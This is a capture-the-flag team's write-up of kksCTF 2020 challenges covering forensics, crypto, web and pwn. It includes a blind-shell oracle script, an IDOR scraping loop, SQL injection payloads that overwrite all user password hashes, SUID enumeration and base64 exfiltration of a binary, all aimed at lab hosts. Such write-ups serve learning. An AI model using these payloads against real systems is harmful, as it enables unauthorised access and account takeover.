kksCTF 2020 writeups

Writeup dic 15, 2020

Last weekend we played in kksCTF 2020 and managed to finish in 7th place. We had a lot of fun and we solved the challenges you find in this article.
You can find files and exploits on our repository, at the url:
https://github.com/r00tstici/writeups/tree/master/kksCTF_2020

Blind Shell

Category: misc

Points: 345

Solved by: 4cul, 01baf, crypt3d4ta

Problem

It's simple enough, either you've succeeded or you've failed.
Connect here: nc tasks.kksctf.ru 30010

Writeup

In this challenge we are dealing with a particular shell.
When we execute a command we have a fixed output which consists of
"Success!" in case the execution is successful and "Failed!"
on the other hand.

For example:

$cat
Success!
$c
Failed!

The idea is to find files in the current directory, using the terminal output to our advantage.
With the aid of ls, wc, and grep, it’s possible to see inside the current directory the number of files, and also their names

To see how much files are in the current directory we’ve run this piece of commands:

$ ls | wc -l | grep 1
Failed!
$ ls | wc -l | grep 2
Failed!
$ ls | wc -l | grep 3
Success!

And to see the name of each file:

First we’ve looked with what letter each filename begins:

$ ls | grep ^f | wc -l | grep 1
Success!
$ ls | grep ^v | wc -l | grep 1
Failed!
$ ls | grep ^m | wc -l | grep 1
Success!
$ ls | grep ^s | wc -l | grep 1
Success!

So there are 3 items into the directory, respectively beginning with ’f’, ‘m’ and ‘s’.

Second, using this information, we’ve run the following commands, in order to know their full names:

$ ls | grep ^f
Success!
$ ls | grep ^fl
Success!
$ ls | grep ^fla
Success!
$ ls | grep ^flag\.t
Success!
$ ls | grep ^flag\.txt
Success!

The obtained files were:

- flag.txt: text file

- server.py: python script

- maybehere: directory

The same procedure is used to read from flag.txt:

from pwn import *

alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'

conn = remote('tasks.kksctf.ru', 30010)
conn.sendline("cat flag.txt | grep ^L")
conn.recvline()

read = 'L'

while True:
    for i in alphabet:
        test = read + i
        print(test)
        conn.sendline("cat flag.txt | grep " + test)
        if chr(r[2]) == 'S':
            read = test
            break


print("Here's your content: ", read)

After launching the script we obtain:

Look_around,maybe_here

The suspect was that inside maybehere directory there was something interesting;
so we’ve tried to change the current directory into ./maybehere, but we’ve noticed
that ‘cd’ command actually doesn’t change directory - in fact, we’ve tried to type ‘cd /’,
but the current working directory remains the same, even if it returns “Success!”.
Again, thanks to the superpowers of ls, cat and grep, we’ve looked that into
/maybehere there was the file flag.txt; so we’ve run the same script in order to get its content,
and we’ve finally discovered the flag

Script:

from pwn import *

alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'

conn = remote('tasks.kksctf.ru', 30010)
conn.sendline("cat maybehere/flag.txt | grep kks{")
conn.recvline()

flag = 'kks{'

while True:
    for i in alphabet:
        test = flag + i
        print(test)
        conn.sendline("cat maybehere/flag.txt | grep " + test)
        r = conn.recvline()
        print(r)
        if chr(r[2]) == 'S':
            flag = test
            break

    if flag[-1] == '}':
        break

print("Here's your flag: ", flag)

Flag

kks{Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g}

Encrypted Storage 1

Category: Forensics

Points: 359

Solved by: staccah_staccah

Problem

Our client was attacked by some ransomware. Maybe it was separatist dwarves?
He send us encrypted filesystem. Decrypt it, he need some data from secure storage.

Writeup

Let's start by analyzing the file with the file command and see that it is an ext4 filesystem.
We mount it with the command:

mount -t ext4 filesystem /mnt/disk1

Here we find 4 folders, each with a file inside that appears to be corrupt.
Analyzing their hexdump, however, we can see that 4 bytes have been added to the beginning of each file.
hexedit
By removing them (and saving them for later) we get the original files.
In particular, one of the files is a zip in which there is a flag.txt file, but to extract it you need a password.
After looking in vain for password clues within the other files, I tried bruteforce and it worked:
rockyou

Finally we find the flag contained in flag.txt: kks{n0t_s3cur3}

Encrypted Storage 2

Category: Forensics

Points: 367

Solved by: staccah_staccah

Problem

Sometimes stupid hackers leave behind signatures that can be used to find them - the one that wrote ransomware is no exception.

Writeup

By concatenating in the right order the bytes we previously removed from the files to rebuild them in the challenge Encrypted Storage 1 and converting them to ascii we have our flag: kks{1_w4s_h3r3!}

Lynx

Category: Web

Points: 204

Solved by: hdesk

Problem

Hello! We're BluePeace organisation, and we introduce the new project - Lynx Forum!

Writeup

I knew of a command line based browser named lynx, so

$ yay -S lynx
$ lynx http://tasks.kksctf.ru:30070/
                                                    WELCOME

                                 Let's defend our friend - Lynx - from robots!
                                              (C) BluePeace, 2053

Says something about robots, so:

$ lynx http://tasks.kksctf.ru:30070/robots.txt

  User-agent: * Disallow: /a4d81e99fda29123aee9d4bb
$ lynx http://tasks.kksctf.ru:30070/a4d81e99fda29123aee9d4bb

  kks{s0m3_CLI_br0ws3rs_4r3_us3ful}

Red Green Blue Cadets

Category: Forensics

Points: 411

Solved by: staccah_staccah

Problem

Our spy take this picture from KGB special school. They have strange uniform, doesn't it?
cadets

Writeup

Opening the image we immediately notice that the military caps are colored with 3 colors: Red, Blue and Green. A clear reference to RGB but in a different order, namely RBG.
Using the Data extract option on StegSolve and setting RBG we get the flag:
stegsolve
flag: kks{s4lut3_t0_c4d3ts!}

bson

Category: misc

Points: 331

Solved by: 4cul, 01baf, crypt3d4ta

Problem

This is the last time i'm asking, who the f is bson??
Attached (bson.json)

{"task_name":"bson",  "message_pack_data":"82a36b65795ca4666c6167dc003137372f27362f6c3203352f033f6c6c30033e292803343d2a6f0325332903282e35393803316f2f2f1c3b39032c3d3f3721"}

Writeup

We are provided with a JSON file, inside which there are 2 fields:

  • task_name, containing "bson" string;
  • message_pack_data, containing a hexadecimal string.

With high odds, the flag is stored inside the message_pack_data field.
By doing a rapid research (and by exploiting the hint left by the "message_pack_data" name) it's clear that the field message_pack_data holds into a message formatted in MessagePack - an efficient binary serialization format.
Using one of the many online MessagePack-JSON conversion tools we obtain:

{
 "key" = 92,
 "flag" = [55,55,47,39,54,47,108,50,3,53,47,3,63,108,108,48,3,62,41,40,
           3,52,61,42,111,3,37,51,41,3,40,46,53,57,56,3,49,111,47,47,
           28,59,57,3,44,61,63,55,33]
 }

What we have is a key and a flag, that consists of decimal numbers. We notice that in a flag's array elements begins with 2 identical number then we can imagine an association between the characters of the ASCII code and the flag.

So the aim is to obtain the ASCII of each element of the flag in function of key and the same element.

Doing a XOR decimale between the key and each flag's array element, we obtain what we've looking for: the ASCII encoding of the character expressed in decimal.

#!/bin/env/python3

key = 92
flag = [55,55,47,39,54,47,108,50,3,53,47,3,63,108,108,48,3,62,41,40,
        3,52,61,42,111,3,37,51,41,3,40,46,53,57,56,3,49,111,47,47,
        28,59,57,3,44,61,63,55,33]
ascii_flag = []

for item in flag:
    xor_result = key^item
    ascii_flag.append(chr(xor_result))

for item in ascii_flag: print(item, end="")

Flag:

kks{js0n_is_c00l_but_hav3_you_tried_m3ss@ge_pack}

cypherpunk2077

Category: web

Points: 392

Solved by: hdesk, drw0if

Problem

If you have found any bugs in latest AAA projects, please report them using this pretty good service.

Link

Writeup

Starting the navigation we are greeted with two links:

home

Report

Keys

Let's start with the second one: the page shows up only one entry:

Public key

whose content can be found in the public file. Guessing we changed the url to private and we found the private key too. The content can be found in the private file.

Let's move to the report funcionality. There is a textbox and a name. Let's try to sign a message with the public key and submit it via the form:

gpg --import private # to import the private key

echo 'test-string' > in.txt

gpg -u trust -a -e in.txt # with report as username

cat in.txt.asc
-----BEGIN PGP MESSAGE-----

hQGMAyDF2996B8eFAQv7B6DRQqwoWUA5I/QYsG/eIyt0ezFVIMXsvwc8B/LjqjaZ
DXrQnDZrRRLWoVPqlWvlVFkQCFPgxhHcwCKQEdhalwKTBwaJHTG9cuNo/RpAPfRP
ejxBJIDvRvmvjhgd9o2HiiW/8qlh/0U+y3lomiPDEsnzu52fXqkztJPSDHqS4v+E
RSGK8ZPDdSXMwo6Fgsp92RkZQGlhBAKZ6Yj5BElQaZwrc0T75RbvgKvsofhZ1ldw
taT2bFZezJc6EocGXfrxZQCK3JhNk/OHcl+qAgCPhcx+rAD41f4QDXeCBltDtMaF
7zqfjYZ09r04uV8PZLsUvsjlOPuXwYG8rtJrnPJ1v4BOj5rmZqTM5f4+uP1mPfwB
GnckG7NTHNpr5wmLaP3cy/eMax7x0dHkDRehOb0JUEQ7vufSEfbscu4BCL+2CLP+
lFqpJbb2ZQeblE+hxrQWTJFugrQ3h3aylN4GGctsyJR1L2YJ/0A6kQ8co3e0p5zt
Ce+MsqRGcEJOmEe1BEVK0k0B49Q/V8OvrhLkbxe8Qd/ScAe4x+m9ZRrnwHi3XGJE
0wFliGB20dttBjdFTAeH8iCgozP1LoYw7ayEPn4ufC5pAv5iCWSKejgdRzj7ag==
=79Cd
-----END PGP MESSAGE-----

Submitting this text we are moved to http://tasks.kksctf.ru:30030/reports/3402

upload

Let's try to change the number:
http://tasks.kksctf.ru:30030/reports/1

first_report

Bingo we have different text. Let's dump the entire report database.

mkdir downloaded
for i in {1..3500};do
    wget http://tasks.kksctf.ru:30030/reports/$i -P downloaded
done

Let's extract the message with some regex:

import sys
import re
import os

for l in os.listdir('downloaded'):
    with open(f'downloaded/{l}', 'r') as f:
        a = f.read()

    regex = r'(-----BEGIN PGP MESSAGE-----(.|\n)*-----END PGP MESSAGE-----)'
    result = re.findall(regex, a)

    with open(f'stripped/{l}', 'w') as f:
        f.write(result[0])

    print(l)

Let's decrypt them with the gpg tool itself:

for i in `ls extracted`; do
    gpg --decrypt extracted/$i 2> /dev/null 1>> out/dump
    echo '' >> out/dump
    echo $i
done

In the end checking the dump file we can easily locate the real flag:

kks{in_2077_what_makes_someon3_a_ctf_player7_getting_flag}

fonction_spéciale

Category: crypto

Points: 240

Solved by: 01b4f

Problem

Selon une mission secrète du gouvernement pour un ordinateur doté d'intelligence, une fonction mathématique spéciale a été développée. Voici des exemples de ses entrées et sorties:

f(2522521337)=1215221512112317 f(1215221512112317)=1112111522111511122112131117 f(1112111522111511122112131117)=31123115223115312221121113317

Puisque l'intelligence artificielle ne veut plus nous obéir, nous avons besoin de votre aide pour trouver le résultat de la fonction

f(2229555555768432252223133777492611)=x

Le drapeau a la forme kks{x}.
Dans la composition de cette fonction, j'ai été aidé par un écrivain avec les initiales B. W., qui aime aussi les énigmes, comme nous et vous ;)

Writeup

The challenge consists of forecasting a mathematical function result by having in example 3 of its application.
The idea is to find some pattern knowing that:

  • Between the number of digits in input and those in output there isn't any evident regularity;
  • Digits that appears in input, also appears in output.

Steps

  1. Group any recurrence of the same digit:
    1215221512112317 --> [1][2][1][5][22][1][5][1][2][11][2][3][1][7]
    
  2. For each group, two digits are produced: the first tells how much that digit repeat itself; the second tells the considered group digit. So:
    [1]-->11	(1 times 1)
    [2]-->12	(1 times 2)
    [5]-->15	(1 times 5)
    [22]-->22	(2 times 2)
    [11]-->21	(2 times 1)
    [3]-->13	(1 times 3)
    [7]-->17	(1 times 7)
    
  3. Thus coming to have the output:
    1112111522111511122112131117
    

Resolution

Having in input "2229555555768432252223133777492611"
Let's produce groups of recurring digits:

[222][9][555555][7][6][8][4][3][2][5][222][3][1][33][777][4][9][2][6][11]

Obtaining:

32_19_65_17_16_18_14_13_12_15_32_13_11_23_37_14_19_12_16_21

Flag:

kks{3219651716181413221532131123371419121621}

Happy New Year (parts 1, 2, 3)

Category: Pwn

Points: 504 - 556 - 650

Solved by: drw0if - kusky

Problem

Part 1:

The new year is approaching, so kksctf offers you to play secret Santa. The rules are simple, you go in, choose who to send your greetings to and wait for someone to congratulate you.

Note: the recipient doesn't know who send the email. Share a little happiness with this app. Good luck!

Oh, Yes, I almost forgot, they brought you some big gift.

nc tasks.kksctf.ru 30040

Part 2:

Will you be able to become the main Santa?

Part 3:

Have you found the root for all the presents?

Writeup

Part 1:

The challenge comes with a 64 bit stripped ELF file.

Before reversing the binary let's use the netcat service to have an idea about the software:

We are greeted with a simple menu with 3 choices:

login
Let's register since we don't have an account

register

Now we have a new menu with 4 choices. Let's try all of them:

participants

send_a_message

inbox

Seems that there is nothing more we can do here.

Let's start with the reverse. We opened it in Ghidra and as always if the binary is stripped we can find the main function from the entry point since a pointer to the main function is the first argument passed to __libc_start_main.

entry

main

Main function is just used to check if a parameter is passed to the program, then attempts to convert the parameter into an integer and passes it to a function. This function tries to open a socket connection on the port specified as argument.

server

Let's have a deep dive into the connection handler function:

The first block is used to handle the menu and the signup/signin phase

first_block

The function that handles show participant function is a wrapper to another function which execute sqlite query:

show_parti_wrapper
select_users)

The query isn't treated as a stirng by Ghidra for an unknown reaso but forcing it to treat the byte sequence as a CterminatedString the result is
SELECT username from users where username != 'kks_santa';

query_reconstruction

This is a simple select query so not enough to discuss.

Let's have a look at the signup handler:

user register

The username and the password are requested. The username is passed via a simple series of check that prevents sqlinjections since if the checks fails Bad username! Evil h4ck3r is printed.

The password is passed in a complex function that I assumed to be an hash algorithm since at the end an hex digest is built. At the end username and password are passed to a function which is used to craft an sql query to insert the new record.

user_register

Here again some strings are treated as long value but what is important is that nothing seems to be broken here. Almost the same procedure is built around the login functionality.

The juicy part comes with the second block:

second_block
First things first the code does a check on the username. If kks_santa has logged in the loop breaks and we can go into the third block of code otherwise we reach the user private menu. Without discussing too much let's focus on the vulnerable part since we already faced most of the reversing problem we encountered during this long reverse.

send_message_wrapper

The send message procedure asks us for a receiver and a message. The receiver is passed via the same checks username is passed into and then the insert query is made.

vuln

The query is simply INSERT INTO messages(to_user, letter) VALUES (%s, %s) and then the values are interpolated. The problem is that only the username is checked. We can make an sqli to take control over the database.

Let's think about a way to gain kks_santa credentials: we can steal the hash but we should also reverse it and we don't know the algorithm used.. But we can also overwrite the santa hash wit our own value and use the same password!

Let's craft the payloads:

"); INSERT INTO messages(to_user, letter) SELECT "drw0if", password FROM users WHERE username="drw0if"; -- #

We can use this payload to stel our hash and exfiltrate it from the inbox functionality. Let's try it:
payload_1

Our hash is: 5f4dcc3b5aa765d61d8327deb882cf99

Let's use it to replace everyone's hash:

"); UPDATE users SET password="5f4dcc3b5aa765d61d8327deb882cf99"; -- #

Now we should be able to login as kks_santa with password password
Let's try it.

We also gained the first flag since in the third block of the handler code a function is called to retrieve a key from the database and display it.

Part 2:

The third block of code starts with the first flag print. then a new menu is printed with some new feature for example the "show all messages" (it's a scam, lol) and relax.

third_block

The loop breaks when local_20 is 0x80 and local_a is 'k'. local_a is the "variable" that stores our choice, local_20 is never used here but is passed to the relax option handler as reference.

relax

This funcionality increments the "beer" counter and if it reaches some values we are greeted with different comments. Let's increment that counter with a simple copy paste of python -c "print '4\n'*0x80" output.

Last part of the handler code is a basic shell built upon popen function. So we gained a partial RCE.

first_shell

Let's have a loop at the suid files:

$ find / -perm /4000
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/umount
/home/santa/secret

No privesc seems to be available here but the last file is interesting. Let's execute it:

$ /home/santa/secret
This incident will be sent to the main Santa. I'll say you've been bad this year.

Let's exfiltrate it via base64 encoding:

cat /home/santa/secret | base64

The file is provided by this repo. Opening it into Ghidra it is really easy to understand:

secret_main

So all we need to do is to execute the binary with the variable set:

$ SECRET_TOKEN_ENV="4lm057_d0n3" /home/santa/secret
kks{w0w_y0u_4r3_7h3_r007_s4n74_6u7_did_y0u_74k3_411_7h3_pr353n75}$

Part 3:

Let's have a quick look at all the other files with "find".
The last one listed seems to be coherent with the challenge description

third_part

$ cat /gifts/gift_for_you/flag.txt
:,5[m9mTre9mT)]9iP/19mT6S9iOi5:2NES>&%1s9mT)\=aF+c:23dT9giK;:01SE:3pDr:3p&h:K1A39mU;q:/kD59mT5a=__(p:3pP/:I.-,$

I got stuck here for a while since kusky started working with me on this challenge. Using cyberchef he decrypted it with the following recipe:

third_flag

In the end it was a wonderful challenge and we learnt a lot, starting from sqlite3 syntax to encoding techniques to binary exfiltration in a pseudo shell.

PS. we dumped the full /server directory except from database so if you want to make your attempts feel free to use the repo.

hashfunction

Category: web

Points: 513

Solved by: hdesk, SM_SC2, 0xThorn

Problem

One solution for storing passwords securely in applications is to store a hash of the password. Or it's not?
http://tasks.kksctf.ru:30020/

server.go

Writeup

Inspecting the code and doing some tests we can see that each 8-characters-long digest block is related only to one 4-characters-long block of the provided password.
For example

Password Hash
1234 553b6a59 52d04dc2 0036dbd8 313ed055
12341234 553b6a59 553b6a59 3f1cf75d 7068baae

So, the idea is:

  1. Find all possible combinations of 4 characters using only the printable ones.
  2. Compare each 8-characters digest block with each provided hash block.
  3. Compose the password.

brute_force.go

After few seconds, we obtain the following results

brute.go

The password is )R)ck4r^K>AwGJK-

In order to obtain the flag we have to send a x-www-form-urlencoded POST request to http://tasks.kksctf.ru:30020/login with the following data:

username : admin
password : )R)ck4r^K>AwGJK-

post

Flag:

kks{1f_s0meth1ng_called_md5_1t_d0esnt_have_t0_be}

motor_sounds

Category: Misc

Points: 268

Solved by: Iregon

Problem

Жжжжжжжжжж, виииив, виииив, жжжжжжжж...

Zhzhzhzhzhzhzhzhzhzh, viiiiv, viiiiv, zzhzhzhzhzhzhzh ...

Writeup

If we open the file that is given to us with any text editor we notice that inside it there are some writings that can be identified as GCODE, the following is an extract:

gcode

Since the GCODE is used to encode the actions that are sent to a 3D printer, let's try to open the file with a slicing program for 3D printers (Ultimaker Cura will be used in the following examples):

cura1

We immediately notice that there are 3 writings, by rotating them in a position that allows us to read the central writing we will be able to see the flag:

cura2

Flag:

kks{W3_c@N_1n_3D!}

Tag